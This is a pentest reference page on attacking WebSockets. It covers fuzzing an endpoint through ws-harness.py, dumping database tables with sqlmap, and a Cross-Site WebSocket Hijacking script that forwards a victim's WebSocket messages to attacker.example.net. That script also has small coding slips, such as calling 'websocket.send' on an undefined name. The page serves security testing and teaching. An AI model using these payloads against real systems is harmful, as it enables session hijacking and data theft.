Web Sockets Attacks

> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server

Summary

- Tools
- Using ws-harness.py

Tools

- ws-harness.py

Using ws-harness.py

Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.

```
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
```

The content of the message should contains the **[FUZZ]** keyword.

```
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
```

Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.

```
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
```

Cross-Site WebSocket Hijacking (CSWSH)

If the WebSocket handshake is not correctly protected using a CSRF token or a nonce, it's possible to use the authenticated WebSocket of a user on an attacker's controlled site because the cookies are automatically sent by the browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).

Example exploit, hosted on an attacker's server, that exfiltrates the received data from the WebSocket to the attacker:

```
<script>
  ws = new WebSocket('wss://vulnerable.example.com/messages');
  ws.onopen = function start(event) {
    websocket.send("HELLO");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("Some text sent to the server");
</script>
```

You have to adjust the code to your exact situation. E.g. if your web application uses a `Sec-WebSocket-Protocol` header in the handshake request, you have to add this value as a 2nd parameter to the `WebSocket` function call in order to add this header.

References

- HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019
- Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian
- Mini WebSocket CTF - January 27, 2020 - Snowscan